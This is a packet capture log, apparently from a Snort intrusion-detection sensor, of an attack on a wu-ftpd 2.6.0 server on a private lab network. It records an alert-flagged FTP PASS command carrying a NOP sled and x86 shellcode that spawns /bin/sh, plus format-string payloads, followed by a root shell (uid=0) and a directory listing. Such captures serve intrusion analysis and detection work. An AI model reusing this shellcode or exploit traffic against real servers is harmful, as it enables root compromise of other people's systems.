09/26-14:00:39.188483 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x4A 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x0 ID:51006 DF **S***A* Seq: 0x28D47679 Ack: 0x27C86AFC Win: 0x77C4 TCP Options => MSS: 1460 SackOK TS: 42377862 42378993 NOP WS: 0 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:39.205503 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x93 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51010 DF *****PA* Seq: 0x28D4767A Ack: 0x27C86AFC Win: 0x7C70 TCP Options => NOP NOP TS: 42377864 42378993 32 32 30 20 6E 74 65 63 32 33 20 46 54 50 20 73 220 ntec23 FTP s 65 72 76 65 72 20 28 56 65 72 73 69 6F 6E 20 77 erver (Version w 75 2D 32 2E 36 2E 30 28 31 29 20 4D 6F 6E 20 46 u-2.6.0(1) Mon F 65 62 20 32 38 20 31 30 3A 33 30 3A 33 36 20 45 eb 28 10:30:36 E 53 54 20 32 30 30 30 29 20 72 65 61 64 79 2E 0D ST 2000) ready.. 0A . =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:39.206043 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x42 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51011 DF ******A* Seq: 0x28D476CB Ack: 0x27C86B06 Win: 0x7C70 TCP Options => NOP NOP TS: 42377864 42378995 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:39.207456 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x86 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51012 DF *****PA* Seq: 0x28D476CB Ack: 0x27C86B06 Win: 0x7C70 TCP Options => NOP NOP TS: 42377864 42378995 33 33 31 20 47 75 65 73 74 20 6C 6F 67 69 6E 20 331 Guest login 6F 6B 2C 20 73 65 6E 64 20 79 6F 75 72 20 63 6F ok, send your co 6D 70 6C 65 74 65 20 65 2D 6D 61 69 6C 20 61 64 mplete e-mail ad 64 72 65 73 73 20 61 73 20 70 61 73 73 77 6F 72 dress as passwor 64 2E 0D 0A d... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ [**] ftp attack bin0sh1! [**] 09/26-14:00:39.207838 0:D0:9:27:78:92 -> 0:D0:9:28:F9:F9 type:0x800 len:0x23C 192.168.64.24:4046 -> 192.168.64.23:21 TCP TTL:64 TOS:0x0 ID:35488 DF *****PA* Seq: 0x27C86B06 Ack: 0x28D4770F Win: 0x7D78 TCP Options => NOP NOP TS: 42378995 42377864 50 41 53 53 20 90 90 90 90 90 90 90 90 90 90 90 PASS ........... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 31 C0 31 DB 31 C9 B0 46 CD 80 31 C0 31 DB 43 89 1.1.1..F..1.1.C. D9 41 B0 3F CD 80 EB 6B 5E 31 C0 31 C9 8D 5E 01 .A.?...k^1.1..^. 88 46 04 66 B9 FF FF 01 B0 27 CD 80 31 C0 8D 5E .F.f.....'..1..^ 01 B0 3D CD 80 31 C0 31 DB 8D 5E 08 89 43 02 31 ..=..1.1..^..C.1 C9 FE C9 31 C0 8D 5E 08 B0 0C CD 80 FE C9 75 F3 ...1..^.......u. 31 C0 88 46 09 8D 5E 08 B0 3D CD 80 FE 0E B0 30 1..F..^..=.....0 FE C8 88 46 04 31 C0 88 46 07 89 76 08 89 46 0C ...F.1..F..v..F. 89 F3 8D 4E 08 8D 56 0C B0 0B CD 80 31 C0 31 DB ...N..V.....1.1. B0 01 CD 80 E8 90 FF FF FF FF FF FF 30 62 69 6E ............0bin 30 73 68 31 2E 2E 31 31 0D 0A 0sh1..11.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:39.215085 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x42 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51017 DF ******A* Seq: 0x28D4770F Ack: 0x27C86D00 Win: 0x7C70 TCP Options => NOP NOP TS: 42377865 42378995 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:39.252717 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x253 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51020 DF *****PA* Seq: 0x28D4770F Ack: 0x27C86D00 Win: 0x7C70 TCP Options => NOP NOP TS: 42377868 42378995 32 33 30 2D 54 68 65 20 72 65 73 70 6F 6E 73 65 230-The response 20 27 90 90 90 90 90 90 90 90 90 90 90 90 90 90 '.............. 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 31 C0 31 .............1.1 DB 31 C9 B0 46 CD 80 31 C0 31 DB 43 89 D9 41 B0 .1..F..1.1.C..A. 3F CD 80 EB 6B 5E 31 C0 31 C9 8D 5E 01 88 46 04 ?...k^1.1..^..F. 66 B9 FF 01 B0 27 CD 80 31 C0 8D 5E 01 B0 3D CD f....'..1..^..=. 80 31 C0 31 DB 8D 5E 08 89 43 02 31 C9 FE C9 31 .1.1..^..C.1...1 C0 8D 5E 08 B0 0C CD 80 FE C9 75 F3 31 C0 88 46 ..^.......u.1..F 09 8D 5E 08 B0 3D CD 80 FE 0E B0 30 FE C8 88 46 ..^..=.....0...F 04 31 C0 88 46 07 89 76 08 89 46 0C 89 F3 8D 4E .1..F..v..F....N 08 8D 56 0C B0 0B CD 80 31 C0 31 DB B0 01 CD 80 ..V.....1.1..... E8 90 FF FF FF 30 62 69 6E 30 73 68 31 2E 2E 31 .....0bin0sh1..1 31 27 20 69 73 20 6E 6F 74 20 76 61 6C 69 64 0D 1' is not valid. 0A . =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:39.263076 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0xD6 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51022 DF *****PA* Seq: 0x28D47920 Ack: 0x27C86D00 Win: 0x7C70 TCP Options => NOP NOP TS: 42377869 42379001 32 33 30 2D 4E 65 78 74 20 74 69 6D 65 20 70 6C 230-Next time pl 65 61 73 65 20 75 73 65 20 79 6F 75 72 20 65 2D ease use your e- 6D 61 69 6C 20 61 64 64 72 65 73 73 20 61 73 20 mail address as 79 6F 75 72 20 70 61 73 73 77 6F 72 64 0D 0A 32 your password..2 33 30 2D 20 20 20 20 20 20 20 20 66 6F 72 20 65 30- for e 78 61 6D 70 6C 65 3A 20 6A 6F 65 40 6E 74 65 63 xample: joe@ntec 32 34 0D 0A 32 33 30 20 47 75 65 73 74 20 6C 6F 24..230 Guest lo 67 69 6E 20 6F 6B 2C 20 61 63 63 65 73 73 20 72 gin ok, access r 65 73 74 72 69 63 74 69 6F 6E 73 20 61 70 70 6C estrictions appl 79 2E 0D 0A y... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:41.275156 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x1FF 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51043 DF *****PA* Seq: 0x28D479B4 Ack: 0x27C86EB4 Win: 0x7C70 TCP Options => NOP NOP TS: 42378071 42379202 32 30 30 2D 78 78 28 B0 FF BF 2D 32 2D 32 30 30 200-xx(...-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 30 34 34 36 2D 32 30 30 2F 2F 2F 32 0nan0446-200///2 30 34 34 32 39 37 38 35 31 30 31 37 30 38 33 38 0442978510170838 37 38 34 34 39 39 38 39 30 36 35 30 34 35 37 30 7844998906504570 32 37 39 30 37 37 32 33 35 32 33 38 37 33 30 33 2790772352387303 36 33 30 30 32 31 33 32 30 30 38 35 38 36 32 37 6300213200858627 35 38 33 32 31 36 39 35 37 39 31 39 30 37 38 38 5832169579190788 36 30 38 31 32 37 39 35 33 38 35 38 34 39 33 38 6081279538584938 38 38 31 31 39 36 30 30 31 39 36 35 32 33 31 35 8811960019652315 39 34 35 38 33 39 33 34 35 38 30 32 34 33 31 34 9458393458024314 37 34 37 35 37 34 31 32 33 37 39 33 38 32 35 34 7475741237938254 39 33 32 32 37 37 34 34 32 30 30 33 36 38 35 36 9322774420036856 35 37 39 38 34 38 35 34 39 35 39 36 35 39 39 31 5798485495965991 30 30 31 33 37 32 30 33 32 37 30 35 33 39 31 30 0013720327053910 32 32 32 38 39 32 36 30 39 33 38 38 37 36 30 31 2228926093887601 31 38 34 32 35 36 36 37 34 34 30 35 35 38 36 32 1842566744055862 30 38 35 35 37 39 38 35 34 33 37 35 33 38 38 37 0855798543753887 33 37 33 36 34 33 35 32 38 37 35 37 31 33 38 39 3736435287571389 38 31 33 32 37 38 30 34 37 39 34 31 34 32 37 32 8132780479414272 7C 30 78 62 66 66 66 62 30 32 38 0D 0A |0xbfffb028.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:41.292849 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x1FB 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51044 DF *****PA* Seq: 0x28D47B71 Ack: 0x27C86EB4 Win: 0x7C70 TCP Options => NOP NOP TS: 42378072 42379204 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 78 78 200 (end of 'xx 28 B0 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 (...%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 63 25 63 25 63 25 %.f%.f%.f%c%c%c% 2E 66 7C 25 70 27 29 0D 0A .f|%p').. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:43.314721 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x42 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51078 DF ******A* Seq: 0x28D47D2A Ack: 0x27C87075 Win: 0x7C70 TCP Options => NOP NOP TS: 42378275 42379405 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:43.334720 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x42 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51079 DF ******A* Seq: 0x28D47D2A Ack: 0x27C87090 Win: 0x7C70 TCP Options => NOP NOP TS: 42378277 42379406 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:53.888226 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x86 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51139 DF *****PA* Seq: 0x28D47D2A Ack: 0x27C87090 Win: 0x7C70 TCP Options => NOP NOP TS: 42379332 42379406 4C 69 6E 75 78 20 6E 74 65 63 32 33 20 32 2E 32 Linux ntec23 2.2 2E 31 34 2D 31 32 20 23 31 20 54 75 65 20 41 70 .14-12 #1 Tue Ap 72 20 32 35 20 31 33 3A 30 34 3A 30 37 20 45 44 r 25 13:04:07 ED 54 20 32 30 30 30 20 69 36 38 36 20 75 6E 6B 6E T 2000 i686 unkn 6F 77 6E 0A own. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:53.901891 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x76 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51140 DF *****PA* Seq: 0x28D47D6E Ack: 0x27C87090 Win: 0x7C70 TCP Options => NOP NOP TS: 42379333 42380465 75 69 64 3D 30 28 72 6F 6F 74 29 20 67 69 64 3D uid=0(root) gid= 30 28 72 6F 6F 74 29 20 65 67 69 64 3D 35 30 28 0(root) egid=50( 66 74 70 29 20 67 72 6F 75 70 73 3D 35 30 28 66 ftp) groups=50(f 74 70 29 0A tp). =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:00:59.329825 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0xA2 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51150 DF *****PA* Seq: 0x28D47DA2 Ack: 0x27C87093 Win: 0x7C70 TCP Options => NOP NOP TS: 42379876 42381007 62 69 6E 0A 62 6F 6F 74 0A 64 61 74 61 0A 64 65 bin.boot.data.de 76 0A 65 74 63 0A 68 6F 6D 65 0A 6C 69 62 0A 6C v.etc.home.lib.l 6F 73 74 2B 66 6F 75 6E 64 0A 6D 69 73 63 0A 6D ost+found.misc.m 6E 74 0A 6D 6E 74 32 0A 6F 70 74 0A 70 72 6F 63 nt.mnt2.opt.proc 0A 72 6F 6F 74 0A 73 62 69 6E 0A 74 66 74 70 62 .root.sbin.tftpb 6F 6F 74 0A 74 6D 70 0A 75 73 72 0A 76 61 72 0A oot.tmp.usr.var. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:01:28.661581 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x60 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51199 DF *****PA* Seq: 0x28D47E02 Ack: 0x27C87095 Win: 0x7C70 TCP Options => NOP NOP TS: 42382810 42383941 2F 62 69 6E 2F 73 68 3A 20 71 3A 20 63 6F 6D 6D /bin/sh: q: comm 61 6E 64 20 6E 6F 74 20 66 6F 75 6E 64 0A and not found. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:01:29.530950 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x42 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51200 DF ******A* Seq: 0x28D47E20 Ack: 0x27C87096 Win: 0x7C70 TCP Options => NOP NOP TS: 42382897 42384027 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:01:29.730927 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x42 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51201 DF ******A* Seq: 0x28D47E20 Ack: 0x27C87097 Win: 0x7C70 TCP Options => NOP NOP TS: 42382917 42384046 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:01:30.776584 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x63 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51202 DF *****PA* Seq: 0x28D47E20 Ack: 0x27C8709C Win: 0x7C70 TCP Options => NOP NOP TS: 42383021 42384152 2F 62 69 6E 2F 73 68 3A 20 71 75 69 74 3A 20 63 /bin/sh: quit: c 6F 6D 6D 61 6E 64 20 6E 6F 74 20 66 6F 75 6E 64 ommand not found 0A . =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:01:31.780769 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x42 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51203 DF ******A* Seq: 0x28D47E41 Ack: 0x27C8709D Win: 0x7C70 TCP Options => NOP NOP TS: 42383122 42384252 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:01:32.668668 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x63 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51204 DF *****PA* Seq: 0x28D47E41 Ack: 0x27C870A2 Win: 0x7C70 TCP Options => NOP NOP TS: 42383210 42384341 2F 62 69 6E 2F 73 68 3A 20 71 75 69 74 3A 20 63 /bin/sh: quit: c 6F 6D 6D 61 6E 64 20 6E 6F 74 20 66 6F 75 6E 64 ommand not found 0A . =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:01:36.116720 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x42 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:64 TOS:0x10 ID:51206 DF ***F**A* Seq: 0x28D47E62 Ack: 0x27C870A7 Win: 0x7C70 TCP Options => NOP NOP TS: 42383555 42384686 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 09/26-14:01:36.868565 0:D0:9:28:F9:F9 -> 0:D0:9:27:78:92 type:0x800 len:0x36 192.168.64.23:21 -> 192.168.64.24:4046 TCP TTL:255 TOS:0x0 ID:51207 ****R*** Seq: 0x28D47E63 Ack: 0x0 Win: 0x0 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+